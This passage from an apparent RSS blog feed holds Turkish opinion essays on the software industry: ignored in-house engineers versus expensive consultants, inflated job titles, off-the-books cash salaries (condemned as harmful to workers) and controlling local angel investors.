<p>Mühendisin yüzüne hafif bir küçümsemeyle bakarlar. <em>"Furkan'cım (veya Ahmet'cim), bizim sistemimiz çok özel. Sen olayı biraz büyütüyorsun gibi geliyor bize. Şimdilik sunucunun RAM'ini biraz artıralım, bakarız."</em> derler. Konu kapatılır, raporlar çekmecelere kaldırılır.</p>
<p>Aradan dört ay geçer. Sistem bir kampanya gününde çöker. Şirket yüz binlerce liralık ciro kaybeder. Yönetim panikler ve "küresel vizyon" gereği Londra veya Frankfurt merkezli ünlü bir yönetim ve teknoloji danışmanlık firmasını (veya yerel bir "büyük dörtlü" danışmanlık şirketini) devreye sokar.</p>
<p>Şirkete günlük ücreti 3.000 Euro olan takım elbiseli üç genç danışman gelir. İki hafta boyunca şirkette toplantılar yaparlar, mühendislerle konuşurlar, kahvelerini yudumlarlar.</p>
<p>Ve üçüncü haftanın sonunda yönetim kuruluna 60 sayfalık, pastel tonlarla bezenmiş, büyüleyici bir sunum dosyası sunarlar:</p>
<p><strong>"Executive Summary: Database Bottleneck &#x26; Architectural Modernization Roadmap."</strong></p>
<p>Slaytın ana önerisine bakarsınız: <em>"Transactional veritabanındaki yükü azaltmak için read-replica mimarisine geçilmeli ve oturum/önbellek yönetimi izole bir Redis Cluster üzerine taşınmalıdır."</em></p>
<p>Yönetim kurulu ayağa fırlar, gözleri yaşarmışçasına alkışlar: <em>"İşte vizyon! İşte stratejik akıl! Adamlar tam bir dünya devi, sorunun kök nedenini tek raporda çözdüler!"</em></p>
<p>Danışmanlık şirketine yüz binlerce Euro fatura ödenir. Masanın köşesinde oturan ve aynı şeyi dört aydır yalvarırcasına anlatan yerli mühendis ise, hissettiği mesleki hakaret ve yabancılaşmayla sadece çayını yudumlar.</p>
<h3>Tıptaki "Dışarıdan Hoca Çağırma" Fiyaskosu</h3>
<p>Bu tablonun acil servisteki ve klinik tıp dünyasındaki karşılığı tam bir trajikomedidir.</p>
<p>Yoğun bakımda veya acil serviste günlerdir nöbet tutan kıdemli bir asistan hekim ve servis başhemşiresi düşünün. Yatan hastanın başında 24 saat nefes almaktadırlar. Asistan hekim vizitte hocaya veya başhekime şöyle der:</p>
<p><em>"Hocam, bu hastanın laboratuvar değerlerinde prokalsitonin yükseliyor, idrar çıkışı azaldı ve periferik dolaşımı bozuluyor. Başladığımız antibiyotiğe direnç gelişti; hastayı sepsis kliniğine sokuyoruz. Derhal geniş spektrumlu karbapenem grubuna geçmeli ve santral venöz kateter açarak sıvı resüsitasyonunu artırmalıyız."</em></p>
<p>Başhekim asistanı dinlemez: <em>"Sen daha kıdemsizsin, kitaplardaki her şeyi ezbere uygulama. Mevcut tedaviye devam edin."</em></p>
<p>İki gün sonra hasta septik şoka girer. Hasta yakınları hastaneyi ayağa kaldırır. Başhekimlik panikle şehir dışındaki ünlü bir özel üniversiteden "konsültan profesör" çağırır. Profesör gelir, hastanın başında iki dakika stetoskop dinler, tahlil kağıdına 30 saniye bakar ve reçeteye yazar: <em>"Karbapenem başlansın, santral hat açılsın."</em></p>
<p>Başhekim profesörün elini iki eliyle sıkar: <em>"Hocam ayağınıza sağlık, hastanın hayatını kurtardınız!"</em></p>
<p>Oysa o hayatı iki gün önce kurtaracak olan bilgi, zaten o servisteki asistanın beynindeydi. Faturayı ise iki gün boyunca acı çeken hasta ve aşağılanan asistan ödemiştir.</p>
<h3>Neden Kendi İnsanımıza Güvenmiyoruz?</h3>
<p>Bu kurumsal hastalığın kökeninde derin bir <strong>aşağılık kompleksi ve yerel liyakatsizlik</strong> yatar.</p>
<ol>
<li><strong>Yabancı Hayranlığı ve Etiket Fetişizmi:</strong> Türkiye'deki pek çok karar verici için bilginin değeri, bilginin doğruluğunda değil; bilginin kim tarafından ve hangi aksanla sunulduğundadır. Kendi bordrosunda 60 bin TL'ye çalışan mühendisin sözü "bedava" olduğu için değersizdir. Ancak dışarıdan gelen bir danışmana saatliği 500 Dolar ödendiğinde, ödenen para bilginin değerine dair sahte bir garanti üretir.</li>
<li><strong>Sorumluluktan Kaçma Refleksi (Cover Your Ass - CYA):</strong> Yöneticinin içerideki mühendisi dinlememesinin en büyük sebebi korkudur. Eğer içerideki mühendisin dediğini yapıp başarısız olurlarsa, fatura yöneticiye kesilir: <em>"Neden tecrübesiz bir personelin aklıyla iş yaptın?"</em> Ama dünyaca ünlü bir danışmanlık firmasının raporunu uygulayıp batarlarsa, yönetici arkasına yaslanıp kendini savunabilir: <em>"Biz dünyanın en büyük danışmanlık şirketiyle çalıştık, onların önerisiydi, bizim bir suçumuz yok."</em></li>
<li><strong>Pahalı Slayt Büyücülüğü:</strong> Danışmanlık firmalarının uzmanlaştığı yegane alan mühendislik değil, algı yönetimidir. Mühendisin basit bir terminal ekranında veya beyaz tahtada gösterdiği yalın gerçeği; onlar grafiklerle, renk geçişleriyle ve havalı yönetim buzzword'leriyle paketleyip satarlar.</li>
</ol>
<h3>Sessiz İstifaların ve Beyin Göçünün Gizli Nedeni</h3>
<p>Bir mühendis için maaşının düşüklüğü katlanılabilir bir zorluk olabilir; ancak <strong>fikrinin, emeğinin ve mesleki uzmanlığının yok sayılması</strong> katlanılamaz bir hakarettir.</p>
<p>Şirket içindeki mühendis bakar ki; gecesini gündüzüne katarak geliştirdiği çözümler dinlenmiyor ama aynı fikir dışarıdan bir yabancı tarafından söylendiğinde alkışlanıyor. O günden sonra o mühendisten artık inovasyon bekleyemezsiniz.</p>
<p>O mühendis "sessiz istifa" (quiet quitting) moduna geçer. Sadece verilen biletleri kapatır, hiçbir mimari tartışmaya girmez, hiçbir krizde inisiyatif almaz. Ve ilk fırsatta, kendi aklına ve yeteneğine saygı duyan küresel bir şirkete veya yurt dışındaki bir pozisyona geçerek bavulunu toplar.</p>
<p>Şirketler sonra toplantılarda dert yanar: <em>"Bizim ekibin aidiyet duygusu yok, vizyoner mühendis bulamıyoruz."</em></p>
<p>Siz kendi mühendisinizi danışmanların stajyeri yerine koydunuz. Onun aklını dinlemek yerine dışarıya servet akıttınız. Ve şimdi aidiyet mi bekliyorsunuz?</p>
<h3>Akıl Şirketin İçindedir</h3>
<p>Gerçek liderlik, dışarıdan mucizevi reçeteler satın almak değil; <strong>kendi ekibinin içindeki saklı aklı, sahadan gelen fısıltıları dinleyebilme olgunluğudur.</strong></p>
<p>Hiçbir dış danışman, sizin sisteminizi gecenin ikisinde nöbet tutan, o kodun her satırında parmak izi olan kendi mühendisinizden daha iyi tanıyamaz. Danışman gider, slaytları kalır; ama o sistem çöktüğünde sabaha kadar başında bekleyecek olan yine sizin hor gördüğünüz o yerel ekibinizdir.</p>
<p>Kendi mühendisine güvenmeyen bir yönetim; dışarıdan gelen süslü yalanlara servet ödemeye, kendi değerlerini ise başka ülkelere hediye etmeye mahkumdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>yonetim-kulturu</category>
            <category>danismanlik</category>
            <category>yabanci-hayranligi</category>
            <category>ekip-psikolojisi</category>
            <category>yazilim-sektoru</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/icerideki-elemani-gormezden-gelip-disaridan-danisman-almak-yabanci-hayranligi-ve-yerel-ekip-ihmali/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'de "Mühendis" Kelimesinin Unvan Enflasyonu: Unvan Çok, Kod Yok]]></title>
            <link>http://localhost:3000/blog/post/turkiyede-muhendis-kelimesinin-unvan-enflasyonu-unvan-cok-kod-yok</link>
            <guid>turkiyede-muhendis-kelimesinin-unvan-enflasyonu-unvan-cok-kod-yok</guid>
            <pubDate>Tue, 23 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Üç kişilik ajanslarda dağıtılan "VP of Engineering" ve "Lead Enterprise Architect" payeleri, uzayan toplantılar ve terminalden kaçışın sosyolojik anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyede-muhendis-kelimesinin-unvan-enflasyonu-unvan-cok-kod-yok/thumbnail" alt=""> LinkedIn akışında gezinirken karşınıza çıkan profillere baktığınızda, Türkiye'nin her köşesinden NASA seviyesinde derin mühendislik projeleri fışkırdığını düşünebilirsiniz.</p>
<p>Henüz üniversiteden mezun olalı iki yıl olmuş gençlerin profillerinde şu unvanlar parıldamaktadır:</p>
<ul>
<li><em>"VP of Software Engineering &#x26; Chief AI Officer"</em></li>
<li><em>"Lead Enterprise Solutions &#x26; Cloud Infrastructure Architect"</em></li>
<li><em>"Principal Distributed Systems Strategist &#x26; Head of Innovation"</em></li>
</ul>
<p>Bu unvanların altındaki şirket bilgilerine yakından baktığınızda ise karşılaştığınız gerçeklik şudur: Kadıköy'de veya Şişli'de bir paylaşımlı ofiste masası olan, toplamda 4 kişinin çalıştığı, ana gelir kalemi yerel mobilyacılara veya restoranlara kurumsal web sitesi tasarlamak ya da hazır bir Shopify temasını Türkçeleştirmek olan butik bir yazılım ajansı.</p>
<p>Şirkette toplam iki yazılımcı vardır; biri "VP of Engineering", diğeri ise "Lead Solutions Architect"tir.</p>
<p>Kartvizitlerdeki İngilizce kelime sayısı, şirketin yazdığı özgün kod satırı sayısından fazladır.</p>
<p>Modern Türkiye teknoloji ekosisteminin en trajikomik hastalığına hoş geldiniz: <strong>Unvan enflasyonu.</strong></p>
<p>Emeğin, bilginin ve gerçek mühendislik disiplininin yerini; LinkedIn algoritmalarını ve eşi dostu etkilemek için uydurulmuş havalı unvan tiyatrosu almıştır.</p>
<h3>Sağlık Ocağında "Baş Cerrah" Kartviziti</h3>
<p>Bu çılgınlığın sağlık sektöründeki bir yansımasını hayal edin.</p>
<p>Mahallenizdeki aile sağlığı merkezine (sağlık ocağına) gidiyorsunuz. Kapıda tansiyon ölçen, aşı kartlarını sisteme giren veya kan tüplerini ayıran genç bir sağlık personeli oturuyor. Masasının üzerinde kocaman altın yaldızlı bir isimlik duruyor:</p>
<p><strong>"Executive Director of Global Cardiovascular Interventions &#x26; Chief Molecular Neurosurgeon"</strong> (Küresel Kalp-Damar Girişimleri İcra Direktörü ve Baş Moleküler Beyin Cerrahı).</p>
<p>O personele dönüp <em>"Kardeşim sen ne yapıyorsun?"</em> deseniz, muhtemelen <em>"Hocam unvanımız havalı olsun, piyasada itibarımız artsın"</em> diyecektir.</p>
<p>Böyle bir sahneye tıp camiasında sadece kahkahalarla gülünmez; Türk Tabipleri Birliği ve Sağlık Bakanlığı o şahıs hakkında derhal unvan gaspı ve halkı yanıltmaktan idari ve cezai soruşturma açar.</p>
<p>Çünkü tıpta bir unvan (Uzman, Doçent, Profesör, Operatör Cerrah); yıllarca süren asistanlık nöbetlerinin, yapılan binlerce başarılı ameliyatın, uluslararası hakemli dergilerde yayımlanan bilimsel makalelerin ve meslektaş jürileri önünde verilen terlerin ardından bir <strong>hak ediş</strong> olarak verilir. Kimse kendisine sabah kalktığında "Ben bugün Başhekim oldum" diyemez.</p>
<p>Yazılım sektöründe ise hiçbir denetim, hiçbir liyakat barajı ve hiçbir mesleki standart olmadığı için; dün akşam <code>npm install</code> komutunu öğrenen herkes ertesi sabah kendisini "Lead Cloud Architect" ilan edebilmektedir.</p>
<h3>Unvanlar Büyüdükçe Uzayan Toplantılar</h3>
<p>Unvan enflasyonunun şirketlerde yarattığı en büyük tahribat, mühendisleri <strong>koddan ve üretimden koparmasıdır.</strong></p>
<p>Bir insana "Architect", "Director" veya "Head of..." etiketi yapıştırdığınız an, onun zihninde tehlikeli bir dönüşüm başlar: <em>"Ben artık kod yazmamalıyım. Kod yazmak junior'ların işidir. Ben vizyon çizmeliyim, strateji belirlemeliyim, insan yönetmeliyim."</em></p>
<p>Ve o andan itibaren o şirkette şu kaçınılmaz süreç başlar:</p>
<ol>
<li><strong>Toplantı Çılgınlığı:</strong> Sabah 09:30'dan akşam 17:30'a kadar arka arkaya bloklanan Zoom toplantıları. <em>"Mimari Hizalanma Toplantısı"</em>, <em>"Sprint Vizyon Çerçevesi"</em>, <em>"Sinerji ve Roadmap Değerlendirmesi"</em>.</li>
<li><strong>Slayt ve Diyagram Fabrikası:</strong> Terminali açıp tek bir satır unit test yazmayan, tek bir veritabanı yavaşlığını incelemeyen bu "liderler"; gün boyu Figma'da veya Miro'da rengarenk kutucuklar ve oklar çizerek mimari diyagramlar üretirler.</li>
<li><strong>Sorumluluktan Kaçış:</strong> Sistem çöktüğünde veya canlıda bir facia yaşandığında, bu unvan zenginleri asla suçu üstlenmezler: <em>"Biz mimariyi çok doğru tasarlamıştık ama yazılımcılar implementasyonu yanlış yapmış."</em></li>
</ol>
<p>Yani ortada binlerce dolarlık unvanlar, onlarca saatlik toplantılar vardır; ama ortada çalışan, ölçeklenen ve temiz tek bir satır kod yoktur.</p>
<h3>Linus Torvalds'ın Sade Kartviziti</h3>
<p>Mühendislik tarihinin en büyük efsanelerine bakın.</p>
<p>Dünyanın tüm sunucularını, süper bilgisayarlarını ve bulut altyapısını üzerinde taşıyan Linux işletim sistemi çekirdeğini yazan ve modern yazılım dünyasının omurgası olan Git'i geliştiren Linus Torvalds'ın unvanı nedir biliyor musunuz?</p>
<p><strong>"Software Engineer" (Yazılım Mühendisi).</strong></p>
<p>Dünyanın en yetenekli çekirdek geliştiricilerinin, Unix'in yaratıcılarının kartvizitlerinde sadece "Programmer" veya "Engineer" yazar. Onlar kendilerine "Grand Master Architect of the Universe" demezler; çünkü onların dehasını kanıtlamak için süslü sıfatlara ihtiyaçları yoktur. Onların yazdığı kod, dünyanın dört bir yanındaki milyarlarca cihazda sessizce, kusursuzca çalışarak konuşur.</p>
<p>Bir insan ne kadar çok yetersizse, o yetersizliği örtmek için o kadar büyük unvanlara sığınır. Tıpkı savaşa girmemiş diktatörlerin göğüslerini dolduran sahte madalyalar gibi.</p>
<h3>Unvanı Değil, Zanaatı Büyütmek</h3>
<p>Buradan genç yazılımcı arkadaşlarımıza ve sektörün yeni nesline samimi bir çağrımız var:</p>
<p>LinkedIn profillerinizdeki o şişirilmiş, içi boş unvanları bir kenara bırakın. Kendinize "Senior Lead Cloud Guru" diyerek kendinizi kandırmayın.</p>
<p>Önemli olan kartvizitinizde ne yazdığı değildir; önemli olan şunlardır:</p>
<ul>
<li>Bir bellek sızıntısını (memory leak) çözerken Linux'un <code>/proc</code> dizinini ve bellek haritasını okuyabiliyor musunuz?</li>
<li>İki servis arasındaki ağ paketlerinin TCP gecikmesini analiz edebilecek network okuryazarlığına sahip misiniz?</li>
<li>Veritabanındaki transaction izolasyon seviyelerini (ACID) ve kilit mekanizmalarını gerçekten kavradınız mı?</li>
<li>Ve en önemlisi; yazdığınız kodla, aldığınız mimari kararlarla şirketinize ve insanlığa gerçek bir değer katabiliyor musunuz?</li>
</ul>
<p>Eğer bunları yapabiliyorsanız; unvanınızın ne olduğunun hiçbir önemi yoktur. Siz zaten gerçek bir mühendissinizdir.</p>
<p>Ve gerçek bir mühendis için; çalışan, çökmeyen ve zarafetle akan tek bir satır kod, dünyanın tüm yaldızlı unvanlarından çok daha kıymetlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>unvan-enflasyonu</category>
            <category>linkedin</category>
            <category>muhendislik-kulturu</category>
            <category>kariyer</category>
            <category>turkiye-ekosistemi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyede-muhendis-kelimesinin-unvan-enflasyonu-unvan-cok-kod-yok/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["SGK Asgari Gösterilip" Üstünün Elden/Yan Ödemeyle Verilmesi: Sektörün Kayıt Dışı Gerçekliği]]></title>
            <link>http://localhost:3000/blog/post/sgk-asgari-gosterilip-ustunun-eldenyan-odemeyle-verilmesi-sektorun-kayit-disi-gercekligi</link>
            <guid>sgk-asgari-gosterilip-ustunun-eldenyan-odemeyle-verilmesi-sektorun-kayit-disi-gercekligi</guid>
            <pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bordroda asgari ücret, çekmecede zarf usulü nakit para. "Sana iyilik yapıyoruz, vergi ödemiyorsun" yalanıyla genç yazılımcının geleceğini ipotek altına alan patron kurnazlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sgk-asgari-gosterilip-ustunun-eldenyan-odemeyle-verilmesi-sektorun-kayit-disi-gercekligi/thumbnail" alt=""> Ayın biri gelmiştir. Türkiye'deki geleneksel bir yazılım ajansında veya KOBİ sermayeli teknoloji firmasında çalışan genç bir geliştirici, banka hesabına gelen bildirime bakar:</p>
<p><em>"Hesabınıza 17.002 TL (veya o dönemin resmi asgari ücreti) yatırılmıştır."</em></p>
<p>Ardından şirketin muhasebe odasından veya patronun makamından sessiz bir çağrı gelir: <em>"Furkan, iki dakika içeri gelebilir misin?"</em></p>
<p>Geliştirici odaya girer. Patron babacan bir tebessümle çekmecesini açar. İçinden beyaz, isimsiz bir zarf çıkarıp masanın üzerine koyar:</p>
<p><em>"Al bakalım koçum, bu ayki kalan 35 bin liran. Saymana gerek yok, tamdır. Bak devlete vergi kaptırmıyoruz, SGK kesintisi olmuyor; o parayı devlete yedireceğimize doğrudan senin cebine koyuyoruz. Biz çalışanımızın her zaman yanındayız."</em></p>
<p>Genç yazılımcı zarfı cebine koyar, teşekkür eder ve masasına döner. İçinde sahte bir sevinç vardır: <em>"Ne güzel işte, vergiden yırttık, cebime daha çok para kaldı."</em></p>
<p>Oysa o genç adamın bilmediği şey; o beyaz zarfın bir hediye değil, kendi geleceğine sıkılmış bir kurşun olduğudur.</p>
<p>O zarf; emeklilik hakkının, kıdem tazminatının, işsizlik güvencesinin ve en temel finansal itibarının çalındığı anın resmi belgesidir.</p>
<h3>Reçetesiz İlaçla Hastayı Uyutan Sahte Hekim</h3>
<p>Bu ahlaksızlığın tıp dünyasındaki analojisini gözünüzün önüne getirin.</p>
<p>Özel bir tıp merkezinde ameliyat olacaksınız. Hekim ameliyattan önce yanınıza geliyor ve fısıldıyor:</p>
<p><em>"Bak kardeşim, bu ameliyatı hastane kayıtlarına ve epikriz sistemine resmi olarak girersek ameliyathane ücreti, SGK payı ve vergiyle birlikte 100 bin lira tutar. Biz dosyana sadece 'basit pansuman ve muayene' yazalım, 2 bin lira gösterelim. Sen kalan 60 bin lirayı bana elden nakit ver. Hem sen karlı çık, hem ben karlı çıkayım."</em></p>
<p>Cahil bir hasta buna sevinebilir: <em>"Doktor bey ne kadar iyi insan, bana indirim yaptı."</em></p>
<p>Peki iki hafta sonra o ameliyat yerinde şiddetli bir enfeksiyon geliştiğinde veya içeride cerrahi alet unutulduğu için hasta komaya girdiğinde ne olur?</p>
<p>Hasta ailesi savcılığa ve mahkemeye koşar. Savcı hastane dosyasını açar: Dosyada sadece "pansuman yapıldı" yazmaktadır! Ortada ne ameliyat kaydı vardır, ne anestezi protokolü, ne de hukuki bir sorumluluk. Hekim <em>"Ben bu hastayı ameliyat etmedim ki, sadece pansuman yaptım"</em> der ve işin içinden sıyrılır. Hasta ise sakat kaldığıyla baş başa kalır.</p>
<p>Kayıt dışı çalıştırılan bir yazılımcının durumu da tam olarak budur.</p>
<p>Patron sizi resmi kayıtlarda "vasıfsız bir asgari ücretli" olarak göstermekte; sizin karmaşık sistemler kuran, veritabanları yöneten, gece nöbetleri tutan o yüksek nitelikli zihinsel emeğinizi devletin ve hukukun gözünde tamamen <strong>yok saymaktadır.</strong></p>
<h3>Acı Gerçekle Yüzleşme Anları</h3>
<p>Bu tatlı rüya, hayatın acımasız ve somut gerçekleriyle karşılaştığınız gün korkunç bir kabusa dönüşür:</p>
<ol>
<li><strong>Banka Kredisi Reddedildiğinde:</strong> Evlenmek, ev almak veya bir araba sahibi olmak istersiniz. Bankaya gidersiniz. Bankadaki memur resmi bordronuzu ister. E-Devlet'ten SGK hizmet dökümünüzü çıkarırsınız: Maaşınız asgari ücrettir. Bankacı yüzünüze acıyarak bakar: <em>"Beyefendi, bu bordroyla size 50 bin liralık kredi bile veremeyiz."</em> Siz <em>"Ama ben elden 40 bin lira daha alıyorum"</em> dersiniz. Bankacı güler: <em>"Biz resmi evraka bakarız, elden aldığınız para bizi ilgilendirmez."</em> O an anlarsınız ki; toplumun ve finansal sistemin gözünde siz bir hiçsinizdir.</li>
<li><strong>Kovulduğunuz Gün (Tazminat Faciası):</strong> Şirkette üç yıl boyunca gece gündüz çalışmışsınızdır. Bir gün patronla fikir ayrılığına düşersiniz ve kapının önüne konulursunuz. Muhasebe kıdem ve ihbar tazminatınızı hesaplar: Üç yıllık emeğinizin karşılığı, aldığınız gerçek maaş üzerinden değil, bordrodaki asgari ücret üzerinden hesaplanır! Üçte iki oranında hakkınız gasp edilir. Mahkemeye gitseniz; elden ödeme yapıldığını kanıtlamak için yıllarca süren iş mahkemesi duruşmalarında sürünmek zorunda kalırsınız.</li>
<li><strong>İşsizlik ve Emeklilik:</strong> İşsiz kaldığınızda devletten alacağınız işsizlik maaşı asgari ücretten bağlanır; kirasını bile karşılayamazsınız. Yarın emekli olduğunuzda alacağınız emekli maaşı, sefalet sınırının altına mahkum edilir.</li>
</ol>
<h3>"Devlete Vergi Yedirmiyoruz" Yalanı</h3>
<p>Patronların en sevdiği şark kurnazlığı demagojisi şudur: <em>"Devlete vergi vereceğimize sana veriyoruz."</em></p>
<p>Bu koca bir yalandır!</p>
<p>Patron o parayı size devlete olan sevgisinden veya sizin refahınızı düşündüğünden elden vermez.</p>
<p>Patron, şirketin ödemesi gereken devasa <strong>SGK işveren prim payından ve gelir vergisi stopajından</strong> kaçmak için, yani kendi cebine kalacak net karı maksimize etmek için bu suçu işlemektedir. Sizin sırtınızdan kaçırdığı o primlerle; altına lüks cipler çeker, çocuklarını özel okullarda okutur. Size ise ay sonunda çekmeceden uzatılan bir zarfı "büyük bir lütuf" gibi yutturur.</p>
<p>Bu durum sadece yasal bir suç değil; aynı zamanda kul hakkıdır, mesleki haysiyete hakarettir ve kamunun sağlık, eğitim bütçesini hortumlamaktır.</p>
<h3>Zarfı Reddetme Haysiyeti</h3>
<p>Yazılımcı arkadaşlarımıza çok net bir uyarımız var:</p>
<p>İş görüşmesinde veya maaş zammı masasında patronun ağzından şu cümle çıktığı anda o masayı terk edin: <em>"Maaşının şu kadarını bankaya yatıracağız, şu kadarını elden vereceğiz."</em></p>
<p>O teklifi asla ve asla kabul etmeyin.</p>
<p>Gerekirse 5 bin lira daha az kazanın; ama maaşınızın <strong>tek bir kuruşuna kadar resmi bordronuza yansımasını</strong> şart koşun. Brüt maaş üzerinden sözleşme yapın.</p>
<p>Çünkü hesaba elden yatan o kirli nakit para sadece o günkü market alışverişinizi kurtarır; ama resmi evraktaki o sahtekarlık, sizin geleceğinizi, özgürlüğünüzü ve tüm mesleki onurunuzu o patronun çekmecesine rehin bırakır.</p>
<p>Ve hiçbir mühendisin emeği, bir patronun çekmecesindeki beyaz zarfa sığmayacak kadar kıymetlidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>sgk-usulsuzlugu</category>
            <category>kayit-disi-ekonomi</category>
            <category>calisan-haklari</category>
            <category>yazilimci-maasi</category>
            <category>sektor-elestirisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sgk-asgari-gosterilip-ustunun-eldenyan-odemeyle-verilmesi-sektorun-kayit-disi-gercekligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Yerli Angel Investor" (Melek Yatırımcı) Gerçekliği: Yatırımcı mı, Şirket Hissedarı Patron mu?]]></title>
            <link>http://localhost:3000/blog/post/yerli-angel-investor-melek-yatirimci-gercekligi-yatirimci-mi-sirket-hissedari-patron-mu</link>
            <guid>yerli-angel-investor-melek-yatirimci-gercekligi-yatirimci-mi-sirket-hissedari-patron-mu</guid>
            <pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Girişime 50 bin dolar koyup %51 hisse isteyen geleneksel sermaye, çek defterini elinde tutan "melek"ler ve Türkiye'de yatırım almanın bir patron edinmeye dönüşmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yerli-angel-investor-melek-yatirimci-gercekligi-yatirimci-mi-sirket-hissedari-patron-mu/thumbnail" alt=""> Dünya girişimcilik literatüründe "Angel Investor" (Melek Yatırımcı) kavramının son derece asil ve berrak bir tanımı vardır:</p>
<p>Kendi geçmişinde başarılı girişimler kurmuş, sektörel tecrübesi olan, erken aşamadaki genç kurucuların vizyonuna inanan ve onlara %5 ila %10 arasında makul bir azınlık hissesi karşılığında sadece sermaye değil; rehberlik, network ve vizyon (Smart Money) sağlayan finansal melekler. Bu melekler şirketin günlük operasyonuna asla karışmaz; girişimcinin önündeki engelleri açar ve kenara çekilip ekibin büyümesini izler.</p>
<p>Şimdi bu kavramı alın ve Türkiye'nin yerel sermaye gerçekliğine ışınlayın.</p>
<p>Karşınıza çıkacak olan figür bir melek değil; muhtemelen tekstilden, inşaattan veya gıda toptancılığından kazandığı nakit parayla <em>"Şu sıralar bu yazılım işinde çok para varmış, biz de iki çocuğa para verelim de şirket kuralım"</em> diyerek masaya oturan geleneksel bir patron olacaktır.</p>
<p>Girişimci sunumunu yapar; küresel pazar büyüklüğünden, SaaS metriklerinden, müşteri edinme maliyetinden bahseder.</p>
<p>Yatırımcı adayı sunumu dinlemez bile. Önündeki tespihi masaya bırakır, gözlerini kısar ve o meşhur teklifi yapar:</p>
<p><em>"Tamam delikanlı, fikir fena değil. Ben size şirketi kurmanız için 50 bin dolar (veya 1.5 milyon TL) veririm. Ama bir şartım var: Şirketin %51 hissesi bende olacak. Çoğunluk bende olmazsa ben bu işe girmem. Şirketin mali işlerine ve çek defterine de benim muhasebecim bakacak."</em></p>
<p>Bu cümle; o girişimin, o hayalin ve kurucuların tüm bağımsızlığının henüz doğmadan mezara gömüldüğü anın resmi tutanağıdır.</p>
<h3>Ameliyathaneye Giren İnşaat Müteahhidi</h3>
<p>Bu tablonun acil servisteki veya ameliyathanedeki karşılığı tam bir cinayettir.</p>
<p>Bir tıp fakültesinin kalp cerrahisi kliniğine son teknoloji bir kalp-akciğer pompası bağışlayan zengin bir iş insanı hayal edin. Cihazın parasını ödemiştir.</p>
<p>Ertesi gün cerrahi ekip açık kalp ameliyatına girer. Göğüs kafesi açılmış, hasta pompaya bağlanmıştır. Tam o sırada ameliyathanenin kapısı açılır; içeriye o iş insanı sokak kıyafetleriyle girer. Cerrahın omzuna dokunur:</p>
<p><em>"Hocam dur bir dakika! Bistüriyi öyle tutma, çok derin kesiyorsun. Dikiş ipliğini de idareli kullan, pahalı o iplikler. Ayrıca hastaya verdiğin anestezik ilacın markasını beğenmedim, benim yeğenin toptancı firmasından alacaksınız. Bu odadaki cihazın parasını ben verdim, buranın patronu benim!"</em></p>
<p>Böyle bir durumda cerrah ne yapar? Hastanın hayatını kurtarmak için o adamı tekme tokat dışarı attırır.</p>
<p>Çünkü tıp da, yazılım mühendisliği de <strong>özerk uzmanlık</strong> gerektiren disiplinlerdir. Paraya sahip olmak, bilgiye ve vizyona sahip olmak demek değildir. Bir müteahhidin cerrahın bistürisine karışması ne kadar absürtse; geleneksel bir tüccarın yazılım mimarisine, ürün yol haritasına ve teknoloji tercihlerine karışması da o kadar gülünç ve tehlikelidir.</p>
<h3>Melek Yatırımcının "Şantiye Şefine" Dönüşmesi</h3>
<p>O %51'lik zehirli sözleşmeyi imzaladığınız andan itibaren hayatınız bir startup kurucusu olmaktan çıkar, o patronun yeni "şantiye şefi" haline gelirsiniz:</p>
<ol>
<li><strong>Sabah Mesai Denetimi:</strong> Yatırımcı her sabah 08:45'te ofise gelir veya kameralardan izler: <em>"Yazılımcılar neden 09:00'da masasında değil? Neden geç kalıyorlar? Akşam kaçta çıkıyorlar?"</em> Yazılımın yaratıcı bir zihinsel süreç olduğunu, bir mühendisin gece 03:00'te yazdığı mimariyle şirketi uçurabileceğini kavrayamaz; onu tekstil atölyesindeki overlokçu gibi saatle ölçmeye çalışır.</li>
<li><strong>Ürün Tasarımına Müdahale:</strong> <em>"Bizim hanım baktı, uygulamanın rengini beğenmedi. Butonları pembe yapın."</em>, <em>"Bizim dünürün damadı da yazılımcıymış, o dedi ki React değil PHP ile yazsaydınız daha hızlı olurdu, baştan yazın."</em> gibi akıl almaz taleplerle ürünün omurgası kırılır.</li>
<li><strong>Gelecek Turların İflası:</strong> İlk turda şirketin %51'ini yerel bir patrona kaptıran bir girişime; ilerleyen turlarda ne küresel bir risk sermayesi (VC) fonu bakar, ne de profesyonel bir fon tek bir kuruş yatırım yapar. Çünkü kurucuların çoğunluk hissesine sahip olmadığı bir şirket, yatırım dünyasında "yaşayan bir ölüdür" (dead on arrival).</li>
</ol>
<h3>"Smart Money" vs. "Zehirli Sermaye"</h3>
<p>Para sadece para değildir. Yatırım dünyasında paranın rengi ve karakteri vardır.</p>
<ul>
<li><strong>Smart Money (Akıllı Sermaye):</strong> Sektörün dinamiklerini bilen, risk almayı göze alan, başarısızlığın bu işin doğasında olduğunu anlayan, size müşteri ve ortaklık kapılarını açan sermayedir.</li>
<li><strong>Toxic Money (Zehirli Sermaye):</strong> Parayı size bir borç veya tahakküm aracı olarak veren, ilk çeyrekte ciro ve kar baskısı kuran, her harcamanın fişini bakkal defteri gibi sorgulayan ve şirketin kontrolünü ele geçirmeye çalışan sermayedir.</li>
</ul>
<p>Türkiye'deki sözde "melek yatırımcıların" büyük bir kısmı maalesef bu ikinci kategoridedir. Onlar risk alan bir melek değil; teknoloji trenine ucuza binip gençlerin emeğine çökmeye çalışan fırsatçı sermayedarlardır.</p>
<h3>Girişimcilere Çağrı: Fikrinizi Köleleştirmeyin</h3>
